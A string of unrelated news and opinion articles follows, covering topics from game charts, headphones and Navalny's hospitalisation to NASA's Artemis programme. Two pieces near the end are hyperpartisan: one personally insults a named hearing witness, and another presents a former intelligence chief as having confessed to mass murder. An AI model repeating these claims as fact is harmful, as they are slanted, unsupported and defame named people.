No major surprises here besides No Man’s Sky, which was played for 1,100,942 hours in one day, which goes some way to showing just how badly people wanted multiplayer in the game. Other than that, PUBG reigns supreme, just like it always does, and all the games we’d expect to see are present.
To see how these figures compare to last week’s check out the Steam charts for week 29, 2018. So, there you have it, these are the games people are buying and playing right now – perhaps it’ll help you find your next timesink.
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HEADPHONES ARE getting smarter. Outfitted with fancy electronics, such as sensors and digital-signal processors, some are ready to respond to touch gestures or adapt their sound exactly to your liking. Others—3-D printed to quickly create one-off models tailored to your body—are challenging long-held notions about form.
This evolution is perhaps to be expected. As more music moves onto the smartphone, headphones are leveraging that touch-screen interface and processing power. Parrot’s Zik 2.0 headphones, for example, can pull off all manner of psychoacoustic wizardry, but the accompanying app is what makes controlling the Zik’s dizzying number of settings possible.
While standard headphones have a fixed sound profile that never changes once they leave the factory, models like the Zik 2.0, Alpine and ROAM Ropes allow you to adjust the EQ—the balance of highs, mids and lows—and save that setting directly to the headphones themselves. (Although some existing smartphone apps also let you adjust EQ, they only work with music stored on the device; if you use Spotify or another streaming service, the settings are lost.)
As yet, there’s only a small selection of this smarter breed of headphones; the idea is still in its infancy. But once you try one, it’s hard to get excited about less adept models again. Here, a look at four of the most capable that are on the market now—or coming soon.
Alpine Headphones
With their chrome trim, cushy headband and ear cups as plush as a La-Z-Boy, the Alpines are the equivalent of the thumping sound system you’d find in a pimped-out car. This pair has its own digital amplifiers on board, and the center of the headband is outfitted with a bass transducer (powered by a dedicated amp) that’s designed to vibrate the ear cups and the headband itself to maximize low-frequency punch. Audiophiles may scoff, but there’s no denying that these provide a more visceral, physical experience when listening to hip-hop, electronic dance music and other bass-heavy genres. A free companion app (for iOS only) lets you tweak those lows—and other frequencies—as you see fit. $300, alpineheadphones.com
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Alexei Navalny suffered a chemical burn to his right eye in 2017 as a result of an assault
Russian opposition leader Alexei Navalny was discharged from a Moscow hospital on Monday and returned to prison under guard after being treated for what his lawyer and doctor have described as suspected poisoning from a chemical agent.
Navalny, 43, was rushed to hospital from jail on Sunday with what his spokeswoman said were signs of an acute allergy with "severe swelling of the face and skin redness".
The Moscow hospital treating him said on Monday it had discharged him after his condition had improved. It said it could not disclose what it believed had been behind his sudden illness due to patient confidentiality.
Elena Sibikina, one of the doctors who treated Navalny, told reporters that the idea that he had been poisoned with a chemical substance had "not been proven". She said his life was not in danger.
His own doctor and lawyer said they opposed the "strange" decision to return Navalny to a prison cell where they believe he was somehow poisoned in the first place.
"He was really poisoned by some unknown chemical substance," Olga Mikhailova, his lawyer, told reporters. "But what the substance was has not been established."
Navalny's sudden hospitalisation infuriated supporters who suspect he may have been targeted as part of one of the biggest crackdowns in recent years against the opposition.
The fierce Kremlin critic and anti-corruption campaigner is currently serving a 30-day sentence for violating tough protest laws after urging people to take part in a Moscow demonstration on Saturday. That rally ended with the police detaining more than 1,000 people for what they said was an illegal event.
Allies say he risks another flare-up if traces of the substance they fear poisoned him are still present in his cell.
Sample Taken
Mikhailova, his lawyer, said she would file an appeal to try to get his jail time cut short due to his health problems.
His personal doctor, Anastasia Vasilyeva, said she had taken samples of his hair and a T-shirt to be tested at an independent laboratory for signs he had been poisoned.
She said she also wanted CCTV footage of his cell to be examined.
Vasilyeva said Navalny had had a severe rash on his upper body, skin lesions and discharge from his eye which she described as a reaction to an unknown chemical substance.
She dismissed the idea that he may have had a chance allergic reaction to something he'd unwittingly come in contact with like washing powder.
"How can you unintentionally poison someone?" she said, adding it had probably been done to scare him.
A doctor at the hospital told the Interfax news agency on Sunday evening that Navalny had been diagnosed with hives. But Mikhailova, his lawyer, said none of the doctors had mentioned the idea that he had hives on Monday.
Navalny suffered a chemical burn to his right eye in 2017 as a result of an assault. Doctors were able to restore his sight.
He was jailed on Wednesday for 30 days after calling for Saturday's unauthorised march to protest against the exclusion of several opposition candidates from a local election later this year.
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Yesterday, when we reported that as a result of new disclosures regarding the timing of who learned what, but most importantly when, in the White House regarding the IRS persecution (if not prosecution) of conservative groups, we made it quite clear that the narrative enacted by the White House, which could simply be summarized as "we'll make it up as we go along", was nothing more than damage control in total disarray. Because once caught lying, the best solution usually is to stop lying and tell the truth, tying up all those loose ends that eventually lead to Watergate-type outcomes unless addressed early on. No such luck here.
Instead, the White House has doubled down on its crash and burn storyline and in doing so is merely guaranteeing that the very same conservatives, and all others who would rather not have a very political IRS on their back, who have smelled blood are not going to let go until someone at the very top takes responsibility for what, together with the AP-fiasco, is rapidly becoming Obama's Nixonian scandal.
Sure enough, here is The Hill with the White House's official explanation for what happened: "White House officials were notified of a Treasury Department inspector general report on the IRS but elected not to tell President Obama about it." In other words, neither the IRS chief was aware of what is going on at the IRS (recall the countless "I don't knows" and "I don't recalls") and apparently, neither was the president briefed on what everyone beneath him at the White House knew weeks in advance of the premeditated IRS leak. And in fact, it turns out it was someone else's executive duty to make the decision what the chief executive of the nation is and isn't allowed to know in the first pace. So, maybe we are confused, but just how is Obama the "president" again?
For more on how when the White House finds itself in a hole, it merely keeps on digging and digging, we go to The Hill:
White House press secretary Jay Carney said Monday that Chief of Staff Dennis McDonough and other senior officials knew of the general nature of the report but decided to keep the president in the dark about the report’s finding that the IRS had targeted conservative groups for extra tax scrutiny Carney said it was the White House counsel Kathryn Ruemmler’s judgment that the matter should not be told to the president, and that she conveyed this sentiment to senior staff. Carney defended the decision, saying conclusions often change in the final stages of inspector general reports, and that it would’ve been inappropriate for the White House to involve itself in an ongoing investigation. “To be clear, we knew the subject of the investigation and the nature of some of the potential findings,” Carney said. “But we did not have a copy of the draft report, we did not know the details, the scope, or the motivation surrounding the misconduct. And we did not know who was responsible. Most importantly, the report was not final and still very much subject to change.” Carney said that upon learning about the report, McDonough “rightly chose not to take action” to avoid being seen as intervening. “That’s what any White House should do,” Carney said at the daily White House briefing
So according to the head spin doctor of the administration, what the White House should do is serve as a buffer for Obama, who should take all the credit for any and all correct decisions, but have heard no evil, seen no evil, and spoken no evil, when the implications could be potentially impeachable. Come to think of it, if we were running an unaccountable enterprise, we would do the same.
As for Ms. Ruemmler, or the women who decided what the president of the US should and shouldn't know, or in other words, his superior, should she perhaps be culpable of at least something?
Lanny Davis, a former special counsel under President Bill Clinton, wrote last week that Ruemmler should resign if she knew about the probe of the IRS and failed to tell the president.
Davis, writing for The Hill, argued that a White House counsel must have a keen ear for politics, and that it would have been better to tell Obama immediately of the facts of the case.
"If Ms. Ruemmler did know about this IRS story and didn’t inform the president immediately, then, respectfully, that must mean she didn’t appreciate fully the mammoth legal and political implications for the U.S. government as well as the American people of a story involving IRS officials abusing power and possibly violating criminal laws," Davis wrote.
Carney said Ruemmler and McDonough had only “top line” knowledge of the report’s findings. He argued that some in Congress, including House Oversight Committee Chairman Darrel Issa (R-Calif.), had been similarly briefed on the upcoming report, but chose to sit on the information so as not to interfere.
“Our whole point has been that knowing this was coming does not change the fact that there was nothing we could have or should have done about it,” Carney said, adding that it was wrong to say “that somehow the president should have been notified.”
The bottom line is that it appears the president is nothing but a figurehead, at least according to the White House's own take on things:
Carney said the president wasn’t upset that he had to learn about the report through the media, rather than from his advisers. “The president believes and has faith that it is entirely appropriate that nobody here took any action to intervene,” Carney said. “Some matters are not appropriate to convey to him, and this is one of them.”
In other words, Executive-In-Chief... except when being Janitor-In-Chief leads to a more palatable outcome. Ironically we doubt the public will be very upset when they too learn, ostensibly through the wiretapped media, that Obama was and is nothing but a charismatic expert at reading a teleprompter, and that those who make the actual decisions, including what the "president" should and shouldn't know, are sitting comfortably, far behind the curtains.
That said it would not surprise us if the broader US population, engrossed in its Obamaphones and Tumblr blog accounts, has already long forgotten not only about this scandal, but that the whole premise of a functioning democracy is to have operating check and balances to those in charge. Which by definition means holding them accountable and responsible when such travesties of justice as those exposed in the past two weeks come to light.
Or maybe, once again, it will all be just Fabrice Tourre's fault...
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San Jose on Tuesday became the largest Northern California city to approve rules allowing medical marijuana dispensaries. But the move was a buzz kill for pot club activists, who called the new regulations unworkable and threatened to fight them in court or at the ballot box.
The City Council’s decision to allow only 10 clubs to survive capped nearly two years of debate as nearly 12 dozen pot dispensaries spread across the city, raising concerns from neighbors and more than $1 million in tax revenue for cash-hungry San Jose.
In April, the council moved toward limiting the number of pot clubs to 10, but marijuana activists lobbied city leaders to change their minds, arguing that the cap would result in Costco-sized marijuana superstores that would invite federal drug raids.
After more than two hours of debate Tuesday, however, the council voted 8-3 to stick to its guns and keep the lid at 10, with no more than two in each council district. The clubs — which city officials say have all been operating illegally — will also be restricted to certain commercial and industrial areas and required to grow all their marijuana on site.
“We’ll have something in place that will make it impossible for us to operate,” said Dave Hodges, founder of the All American Cannabis Club, one of the first marijuana dispensaries in the city.
Walking a fine line
But Mayor Chuck Reed, who voted with the majority to approve the regulations, said the city was forced to feel its way between the federal government’s ban on marijuana and California’s 1996 voter initiative allowing its use for the ill.
“We’ve had a lot of people during our public process tell us we don’t know what we’re doing,” Reed said. “I guess we’ll find out. We’re going to muddle through and figure it out, and others will learn from our efforts.”
Council members Ash Kalra, Don Rocha and Xavier Campos were on the losing end of the vote.
Kalra favored recommendations from city planning commissioners, who reviewed the proposed rules over the summer and argued that the city should allow 25 pot clubs, be more selective in evaluating them, expand the zones where they would be allowed and allow off-site cultivation.
“I do think we have more work to do,” Kalra argued. “I don’t think we’re there yet.”
Councilman Pierluigi Oliverio initiated the debate two years ago when he proposed that San Jose regulate and tax medical marijuana collectives before it was overwhelmed with a rash of unregulated pot clubs. He pointed to the difficulties Los Angeles had in recent years reining in hundreds of new dispensaries.
Oliverio proposed several modifications to allow off-site cultivation and more selectivity in choosing which of the roughly 140 clubs get to stay in business.
But the only new proposal the council passed Tuesday was a requirement that the approved collectives include a licensed physician or registered nurse as an official.
Even so, Oliverio supported the approved rules, noting that while they’re “not perfect,” they can and likely will be amended after they’re put into practice.
“We clearly should do something,” Oliverio said.
A relatively sparse crowd attended the hearing — mostly marijuana activists and collective owners urging more permissive rules.
A few city residents, however, criticized cannabis club employees as little more than drug peddlers.
Tili Ayala carried a sign reading, “Stop Selling Pot to Our Kids,” and complained of medical marijuana users abusing the law.
The city’s marijuana zoning and regulatory ordinances will become effective Oct. 27 after a second vote of approval Sept. 27. The city plans to notify the pot clubs in early November of the date to submit applications for one of the 10 permits. They would be chosen in December and registered later that month or early next year.
Threat of legal action
City officials argued against a formal bidding process in which the collectives are chosen based on evaluations, noting that the process can take nine to 12 months and cost more than $500,000 if it includes expert consultants.
Police Deputy Chief Dave Hober argued against the dispersed, off-site cultivation favored by the pot clubs, which say they are supplied by members who sell small amounts of surplus weed they grow themselves.
Hober said robbers have intercepted marijuana deliveries to clubs and that firefighters have had to douse homes that burst aflame from indoor marijuana growing under high-powered lamps.
But marijuana activists said they’d likely turn to voters or the courts to block San Jose’s new pot rules. Activists took similar action in San Diego after the city passed regulations earlier this year, gathering enough signatures to qualify a repeal measure for the ballot. That prompted city leaders to drop the rules.
“If we don’t get our due process, we’ll find somewhere else to get it, whether it’s the court or the ballot box,” warned Lauren Vasquez, an attorney and medical marijuana patient.
But Reed countered that if the clubs want to make things difficult, the “easy route” for the city would be to just “ban it altogether.”
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Kamasi Washington released one of our favorite records of 2017 with his Harmony of Difference EP, and now the prolific jazz saxophonist has announced a brand new LP. Titled Heaven and Earth, the double album follows Washington’s 2015 three-disc album The Epic. The record is out June 22nd via Young Turks.
Washington said this of the new record on Twitter: “The Earth side represents the world as I see it outwardly, the world that I am a part of. The Heaven side represents the world as I see it inwardly, the world that is a part of me.” Joining him in this journey are contributors Thundercat, Terrace Martin, Ronald Bruner, Jr., Cameron Graves, Brandon Coleman, Miles Mosley, Patrice Quinn, Tony Austin.
Update: Washington has shared the first two tracks from the album, “Fists of Fury” and “The Space Travelers Lullaby”, along with dates for an extensive world tour. Get all the info here.
Last year, Washington collaborated with the likes of St. Vincent, Ibeyi, and Thundercat, and joined Terrace Martin’s all-star collective The Pollyseeds. He’ll appear alongside Kendrick Lamar, Flying Lotus, and more on Herbie Hancock’s forthcoming album.
So happy to announce my new project, a double album called "Heaven and Earth!" The Earth side represents the world as I see it outwardly, the world that I am a part of. The Heaven side represents the world as I see it inwardly, the world that is a part of me. ????: B+ & Mike Park pic.twitter.com/52FvNKAIhA — Kamasi Washington (@KamasiW) April 9, 2018
Heaven and Earth Tracklist:
Earth
01. Fists of Fury
02. Can You Hear Him
03. Hubtones
04. Connections
05. Tiffakonkae
06. The Invincible Youth
07. Testify
08. One of One
Heaven
09. The Space Travelers Lullaby
10. Vi Lua Vi Sol
11. Street Fighter Mas
12. Song for the Fallen
13. Journey
14. The Psalmnist
15. Show Us the Way
16. Will You Sing
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Comisión del INE aprobó 5 mil 239 mdp de financiamiento para entregar a partidos políticos en 2020.
México.- La Comisión de Prerrogativas y Partidos Políticos del INE aprobó 5 mil 239 millones de pesos de financiamiento público para las actividades de partidos políticos en 2020.
En un comunicado, el Instituto Nacional Electoral (INE) informó que el anteproyecto de acuerdo del Consejo General fijó la distribución de los montos a entregar para el próximo año, conforme a lo establecido en la Constitución y en los ordenamientos correspondientes.
Puedes leer: INE anuncia recorte de presupuesto que impactará en trámites de credencialización
De esta forma, será el Movimiento de Regeneración Nacional (Morena) el partido que más recursos ingrese, pues en la votación de la Cámara de Diputados de 2018 obtuvo el porcentaje más alto de respaldo entre los ciudadanos.
¿Cómo se dividen los recursos asignados por el INE a los partidos políticos?
El financiamiento para 2020 se distribuirá conforme a 4 rubros de gasto establecidos por la autoridad electoral: actividades ordinarias, actividades específicas, franquicia postal y franquicia telegráfica.
El presupuesto de actividades ordinarias y específicas se dividirá 30% de forma igualitaria y 70% proporcional a la votación obtenida; en tanto que las franquicias postal y telegráfica se distribuirán de forma igualitaria entre todos los partidos nacionales.
Recomendamos: Senado subasta 76 autos como medida de austeridad
Los montos previstos por rubro por el INE son: $4,988.864,914 para actividades ordinarias; $149,665,947 para actividades específicas; $99,777,300 para franquicia postal y 693 mil 490 pesos para franquicia telegráfica.
En el anteproyecto aprobado se contempla el gasto en franquicias postal y telegráfica sólo hasta el primer semestre de 2020, pues la autoridad electoral esperará a conocer si aparecen nuevos partidos con registro oficial para redistribuir la mitad de los recursos previstos para el segundo semestre.
En caso de que no se otorgue el registro a partido político alguno, se mantienen los montos indicados.
Morena, PAN y PRI, los que más dinero recibirán en 2020
En el caso de Morena, que es el grupo político que más dinero recibirá, los recursos asignados por actividades ordinarias corresponden a $1,653,944,795, mientras que por actividades específicas ingresará $49,618,343. En lo que hace a su porcentaje por franquicia postal y telegráfica, los montos son de $7,126,950 y $49,535, respectivamente.
En total, el partido del presidente Andrés Manuel López Obrador recibirá mil 661 millones 171 mil 211 pesos como presupuesto para 2020. A dicha partida deberá sumarse un estímulo para el liderazgo político de las mujeres por $49,618,343.
El segundo partido en ingresos para el 2020 será el PAN, con $908,790,729 por actividades ordinarias; $27,263,722 por actividades específicas; $7,126,950 por franquicia postal y $49,535 por franquicia telegráfica; para un total de 943 millones 230 mil 936 pesos de ejercicio de recursos en 2020.
Los blanquiazules también recibirán un estímulo para la participación política de mujeres por más de 27 millones de pesos.
El tercer partido con el mayor número de recursos es el PRI, con $856,063,024 por actividades ordinarias; $25,681,891 por actividades específicas; $7,126,950 por franquicia postal y $49,535 por franquicia telegráfica; para un total de 88 millones 921 mil 400 pesos.
Los tricolores también contemplan más de 25 millones 600 mil pesos por el estímulo político a las mujeres.
El anteproyecto aún deberá ser analizado, discutido y aprobado por el Pleno del Consejo General del INE. En términos generales, el presupuesto representa un incremento de más de 237 millones de pesos respecto a lo ejercido en 2019.
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Check out our new site Makeup Addiction
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Brace Yourselves Videos of black friday madness are coming
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Arson investigators are looking into the cause of a fire inside a North Park restaurant Thursday.
Around 12:30 a.m. San Diego Police responded to 4095 30th Street, the location of The Ritual Tavern, Kitchen and Garden.
Apparently an alarm sounded when someone broke into the back door of the business, officers said.
The damaged door and shattered glass were visible behind the restaurant.
When officers arrived there were several small fires burning inside the building.
"The suspect or suspects used accelerant, it appears, to start several small fires inside," said Lt. Paul Rorrison.
Fire crews extinguished the fire before there was any major damage.
Check back for updates.
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A Texas woman had her Mike Tyson moment when she allegedly bit off a large chunk of another woman’s nose, police say.
The victim, identified only as “Tatiana,” told ABC 13 that she went out to a bar last Wednesday night with her next-door neighbor and a friend of the neighbor, 41-year-old Jessica Collins.
She said after the night out, the three returned to her home, where Collins demanded more alcohol and cigarettes.
Tatiana reportedly told Collins to leave her property, sparking a violent reaction from the woman.
Collins then allegedly jumped her and pulled her to the ground by her hair before biting off a large piece of her nose and swallowing it.
KANSAS COUNCILWOMAN ALLEGEDLY BITES CORRECTIONS OFFICER'S THUMB HARD ENOUGH TO BREAK IT DURING FIGHT
"I didn’t have time to react, to push her away," Tatiana told the news station. "I think I was trying to fight back, but I couldn’t.
"All I could remember was the taste of blood in my mouth."
She said she passed out several times and only realized her nose was injured on her way to the hospital.
“I started calling my husband when I was in the ambulance,” Tatiana said. “I was screaming, like, ‘I don’t have a nose. I’m 28 years old and I don’t have a nose anymore.”
Police arrested Collins and charged her with assault-bodily injury. She was released on bond Monday.
As for Tatiana, doctors said she will need urgent plastic surgery; however she does not have health insurance.
Friends established a GoFundMe page to help with the cost of the surgery. Almost $2,000 has been raised out of a $12,000 goal.
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The gap between the people on the ground and the politicians in parliament couldn't be starker. A report in yesterday's Observer found offences relating to cannabis had fallen by a third since 2011 due to the police directing their limited resources on more important matters. But this afternoon in the Commons chamber, the psychoactive substances bill will be debated. MPs are bored of criminalising substances one at a time. Now they are going to criminalise all of them unless they can prove they do not have an effect on the brain.
It really comes to something when the police show more sense of proportion in their handling of the drugs issue than MPs do. Back in the day, it was the other way round. When cannabis was reclassified to Class B under Gordon Brown, a 'cannabis warning' option was left on the book, offering police the ability to give young people a no-record warning for a first offence. It was a form of under-the-table decriminalisation.
The police did not use it responsibly. The problem – one the government could have dealt with easily if it had the sense – was that a cannabis warning counted as a completed crime, no different from having solved a murder or a burglary but obviously far less taxing. So police had an incentive to swagger onto council estates, round up groups of kids and walk out with five completed crimes under their belt. Even when police targets weren't an issue, an ambitious officer would have been tempted to do it just to make his record look good.
But the Observer investigation shows that even the police have realised what a waste of time and resources cannabis operations are. The total number of cannabis offences recorded by English and Welsh police forces – including penalty notices, cautions, charges and summons – fell from 145,400 in 2011-12 to 101,905 in 2014-15. The fact the figures include lower level warnings shows police are not just deploying milder punishments – they are avoiding going after cannabis users altogether.
It can't be explained by decline in use. Cannabis use declined significantly over recent years, but not since 2010. This is about police priorities and it is happening everywhere - from tiny rural Welsh police forces to the Metropolitan police, which recorded 40% fewer offences in 2014-15 than in 2009-10.
This quote from a Gloucestershire police spokesperson almost comes right out and says it:
"We prioritise different crime areas according to greatest need and our priorities at this time are safeguarding vulnerable people, tackling dwelling burglaries and violence committed with weapons. However, when resources permit, we do investigate cannabis cases and execute search warrants when opportunities present themselves."
What the police are doing as a sensible use of resources, MPs are now about to undo. The psychoactive substances bill gets its second reading in the Commons today. Few MPs will bother to attend, although they will obediently file in when it comes to voting it through. Labour has told me it will be supporting the bill. Politics can change out of all recognition, but the capacity of political parties to support the most counter-productive and foolish drug policies is undiminished.
The bill bans any substance which has a psychoactive effect. There's no point going over why that is a nonsense premise – there's been plenty written about it already – but suffice to say that there is no way of establishing a causal pharmacological chain in court which strips out the fact that all substances make you feel different when you consume them, and that even if one could, one would still be criminalising products like incense.
There is a 'reasonable' sale caveat which might protect shopkeepers selling glue to a DIY man rather than a bunch of sniggering kids, although it might just as well discriminate against sniggering kids wanting to buy glue for legitimate purposes. And of course the distinction between reasonable and unreasonable sales will be irrelevant on the internet, where you cannot see the customer.
In reality, the bill will simply allow police and local councils to shut down head shops on high streets and people selling laughing gas canisters at festivals. That's about as far as it will go – although in accomplishing this trivial aim it will overturn centuries of British legal tradition of criminalising specific acts, rather than criminalising everything and demanding the citizen demonstrate whatever he is doing is lawful.
Even if the inane aspects of the bill did not pertain, it would anyway be an obscene use of police time. Laughing gas, which is the chief target of the bill, is a largely harmless drug. It provides a minute or so of very mild euphoria. People have taken it in this country for over 200 years.
It is remarkably safe, although very occasionally someone asphyxiates. There were 17 fatalities between 2006 and 2012, almost all of them involving asphyxiation with a plastic bag. Balloons, which are commonly used, are much safer. Given that laughing gas is Britain's fourth most popular drug, with nearly half a million users, that is a tiny number of fatalities. It is more dangerous to eat nuts.
What's more, anyone ordering laughing gas can simply claim they are making whipped cream, which nitrous oxide is also used for. An online vendor selling it for that purpose recently found a user review reading: "Quality product, I ordered on a Friday and chargers were meant to come on Tuesday but arrived on the next day, good laugh with mates at a festival… er, I mean in the kitchen whipping cream." It gives a pretty good indication of how easy the ban will be to side step.
Laughing gas is a near-perfect drug to demonstrate the dim-wittedness of anti-drugs politicians and the waste of police resources they initiate. It is hugely popular, basically harmless and has a legitimate usage which will allow users to get hold of it regardless of the law.
It is telling that as the police demonstrate they have better things to do than chase cannabis users, politicians are urging them to waste even more of their time on those taking laughing gas. One struggles to imagine a more obvious waste of time, money and brain cells.
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(CNN) Fifty years after humans first stepped onto the moon during the Apollo 11 mission, NASA has created a goal of landing the first woman and next man on the moon's South Pole by 2024. NASA has dubbed this path back to the moon Artemis, after Apollo's twin sister in Greek mythology.
The agency also wants to establish a sustained human presence on and around the moon by 2028.
The program will involve the Orion spacecraft, the Gateway and the Space Launch System rocket, known as SLS. One of the key features of the program is sustainable space exploration with reusable spacecraft and architecture, which could later take humans to Mars.
Vice President Mike Pence at Kennedy Space Center on the Apollo 11 anniversary, next to the completed Orion crew capsule.
"Similar to the 1960s, we too have an opportunity to take a giant leap forward for all of humanity," NASA Administrator Jim Bridenstine said. "President Trump and Vice President Pence have given us a bold direction to return to the Moon by 2024 and then go forward to Mars. Their direction is not empty rhetoric. They have backed up their vision with the budget requests needed to accomplish this objective. NASA is calling this the Artemis program in honor of Apollo's twin sister in Greek mythology, the goddess of the Moon. And we are well on our way to getting this done."
The completed Orion crew capsule was recently revealed, as were the Artemis logo and colors. The A is meant to symbolize an arrowhead from the goddess Artemis' quiver of arrows, which also represents launch. Other factors of the design represent the Earth, the moon and our trajectory from the moon to Mars. The colors include Earth blue, rocket red and lunar silver.
How does it work?
The SLS rocket will send Orion, astronauts and large cargo to the moon all at once, NASA said. And in the future, it could support robotic missions to Mars, Jupiter and Saturn.
The Orion spacecraft can carry four crew members and support deep-space missions, unlike previous craft designed for short flights.
Orion will dock at the Gateway, a spaceship that will go into orbit around the moon and be used as a lunar outpost. About 250,000 miles from Earth, the Gateway will allow easier access to the entire surface of the moon and potentially deep-space exploration.
"The moon is the logical place to learn how we do things," said Mark Sykes, director of the Planetary Science Institute. "It's easier than going to Mars, but the moon is close and convenient. There, we can start building up the infrastructure that makes Mars possible."
Currently, the focus is on the moon, but NASA sees these concepts as workable for a Mars mission, as well.
"The goal is to try to develop systems that could be used in either location with as little change as possible," said Michelle Rucker, Mars Integration Group lead.
A lander on the surface of the moon.
Regarding the moon and Mars, initial launches of cargo will go up before humans, and the SLS will have that heavy launch capability, Rucker said. The Gateway could even be used as an assembly point for the architecture required to stay on the moon and Mars.
NASA's Orion spacecraft was successfully tested in July.
A test version of the Orion crew capsule launched without crew aboard to ensure that when the craft carrying humans ascends to space, the abort system can pull the crew module away if there's an emergency.
"This test is extremely important," said Mark Kirasich, Orion program manager. "Our Launch Abort System is a key safety feature of the spacecraft -- it will protect the crew members who fly onboard Orion during the most challenging part of the mission, which is the ascent phase."
The rocket that will carry Orion to space will be the most powerful engine ever used, which means a more powerful launch abort system is required to keep the crew safe in the event of a problem.
"In an abort scenario, the Launch Abort System and crew module essentially become its own aircraft," said Chuck Dingell, chief engineer for Orion. "Not only do we want to get that craft away from a dangerous scenario quickly, but we also want to control it so that it flies in a direction as far as possible from the rocket. It's also easier to control a vehicle with a forward center of gravity and that is heavier on the front end."
For the final design, the crew will also have an abort button they can use.
Getting back to the moon
Once final testing is complete, Artemis 1 has an estimated launch of November 2020 from Kennedy Space Center. The first mission will be unmanned. The Orion crew capsule and service modules will be on board.
It will be sent on a trajectory to the moon, where it will perform a flyby within 60 miles of the surface and enter a distant retrograde orbit that takes Artemis 1 farther than any of the Apollo vehicles, said Nujoud Merancy, Exploration Mission Planning and Analysis lead for the Orion spacecraft.
The orbit will last between six and 20 days, depending on when the launch occurs. When it returns to Earth, Artemis 1 will splash down in the Pacific Ocean.
A depiction of an ascent vehicle separating from a descent vehicle.
This mission will serve as the main certification that tests the vehicle from tip to tail, Merancy said. It allows NASA to test the heat shield during high-speed re-entry and other conditions that can't be replicated or truly tested on the ground.
On board will be different scientific payloads, as well as examples of radiation protection garments. There are also plans to put a communication unit on board that can be activated once Artemis 1 has launched, allowing it to take pictures and become interactive.
It's the first step in returning to the moon.
Astronauts will launch on Artemis 2, and the first woman and next man to walk on the moon will launch on Artemis 3.
Meanwhile, NASA is seeking input from the private sector for the lunar landers and landing system from the Gateway to the lunar surface.
"The Gateway will be our home base in lunar orbit -- it is our command and service module for missions to the surface of the Moon. Using it as a port for the human landing system, its orbit around the Moon will give us access to the entire lunar surface, and a place to refurbish and refuel the landing system," Bridenstine said. "This is no small feat, and building a 21st century landing system takes the best of our government and private-sector teams."
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In the V5.1 update, new skins/cosmetics that will be released in the future had been data-mined. We now have the 3D-renders of most of these along with a description with each item, thanks to Skin Tracker. You can rotate these items any way you wish and zoom in and out as well, so you can inspect these items thoroughly:
Shade (Epic)
Stay Cool
Maverick (Epic)
Just Drive
Wreck Raider (Epic)
Wrecks to riches
Reef Ranger (Epic)
Dive into the fray
Sun Tan Specialist (Epic)
Don’t get burned
Archetype (Epic)
Engineered for combat performance
Diving Tank (Epic)
Breathe easy
Air Tank (Epic)
Catch your breath
Bat Attitude (Epic)
Carry a grudge
Servo (Epic)
Prototype compound glider
Laser Chomp (Legendary)
Laser-guided. Razor-sharp. Slippery
There are quite a few skins and cosmetics relating to diving/sharks, which could be inspired by Shark Week, which started on the 22nd July and will end on the 30th July. Keep a look out for these skins/cosmetics, as we suspect they will be featured in the Fortnite Item Shop very soon.
If you haven’t seen the leaked emotes that were also data-mined in V5.1, you can see them in-game below:
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Over 100 men from the army and 25 civilians were engaged in the six-hour operation which involved the foot patrol taking the woman on a stretcher to Uplona through waist-deep snow. (Representative image/ File)
A ‘Khairiyat’ (welfare) team of the army posted in a north Kashmir village rescued a woman with pregnancy-related complications by carrying her for many kilometres in waist-deep snow and ensured that she reached hospital in time to give birth to a healthy baby.
The team received a call on Tuesday from a distraught Riyaz Mir, a resident of Dard Pora village near Tangmarg area of Baramulla in north Kashmir, saying his wife was in labour and the family was unable to take her to hospital because of heavy snowfall, an army source said.
The woman, Shamima, had developed severe pregnancy-related complications due to which both her and the unborn baby’s lives were in danger.
Following the call, the base commander located at Uplona village lost no time and trekked nearly five kilometres along with a resident medical officer to reach the family, the source said.
The entire army unit swung into action and three teams were immediately formed — one cleared the road for the pregnant woman’s movement, the second cleared the snow till the helipad and the third cleared the road till Kanispora, connecting the area with the district headquarters in Baramulla, the army official said.
Over 100 men from the army and 25 civilians were engaged in the six-hour operation which involved the foot patrol taking the woman on a stretcher to Uplona through waist-deep snow.
Once at Uplona, she was stabilised and immediately taken by an Army ambulance, with the Army Medical Officer, to Baramulla hospital as the soldiers kept clearing the snow ahead of the ambulance as it moved along the snow-covered road.
The army team accompanying the Mir family waited till the woman gave birth to a baby, said an officer.
“It was really wonderful presence of mind on part of the officers and men of the army who adopted a multi-pronged strategy to save the woman,” said Lieutenant General Kanwal Jeet Singh Dhillon, who heads the strategic Kashmir-based XV corps, and had issued instructions for the creation of such teams.
The ‘Khariyat’ teams, after being set up, had circulated their mobile numbers in villages in their areas of operation for assistance in cases of emergencies.
Lt Gen Dhillon said he ensured the creation of these teams to help Valley residents as he believes that the army and the civil population together can remove many problems of the region.
Believing in the motto ‘awam meri jaan’ (people are our beloved), Lt Gen Dhillon said, “The people and army are ‘humsaya’ or shadows of each other as they share their joys, grief, problems and challenges together. Keeping in line with this policy, the mobile numbers of the army camps were shared with the locals with a promise of assured assistance”.
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Congressman Jim Jordan is on fire!
The House Judiciary Committee held its first impeachment hearing on Wednesday at it was a total bust.
Pamela Karlan, one of the witnesses the Dems rolled out is an angry Hillary Clinton donor who was on Crooked’s list for a potential Supreme Court nomination.
Karlan is an old bitter dowdy woman who hates children. She attacked Trump’s 13-year-old son Barron during an exchange with Democrat Congresswoman Sheila Jackson Lee.
TRENDING: BREAKING: Multiple Injuries After Car Plows Through Crowd of Trump Supporters in Yorba Linda, California (VIDEO)
GOP Rep. Jim Jordan (R-OH) came out swinging Wednesday evening and took Pamela Karlan to school.
Jordan schooled Pam Karlan on President Trump’s phone call to Ukrainian President Volodymyr Zelensky and called her out for her hypocrisy on ignoring “context” of Trump’s call.
“Context matters, doesn’t it?” Jim Jordan asked Pam Karlan as he began an epic tirade schooling the angry Dem professor.
WATCH:
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Essentially confessing to mass murder and multiple other crimes, retired Gen. Michael Hayden, the former boss of both the NSA and the CIA, admitted that the Obama administration has been murdering people around the world based solely on the so-called metadata collected by U.S. intelligence agencies. The controversial insider’s remarks confirmed growing fears and warnings by critics of the out-of-control federal government that, despite efforts to downplay its unconstitutional spying and assassination programs, Americans have much to be concerned about.
Hayden, a retired general and operative for the globalist Council on Foreign Relations, led the National Security Agency starting under the Clinton administration until 2005 — the same NSA that whistleblower Edward Snowden had recently exposed lawlessly spying on Americans in violation of federal law and the U.S. Constitution. Before taking over in 2006 at the Central Intelligence Agency — the outfit that has carried out much of the federal mass-murder via drone program — Hayden oversaw the massive expansion of NSA’s targeting of Americans.
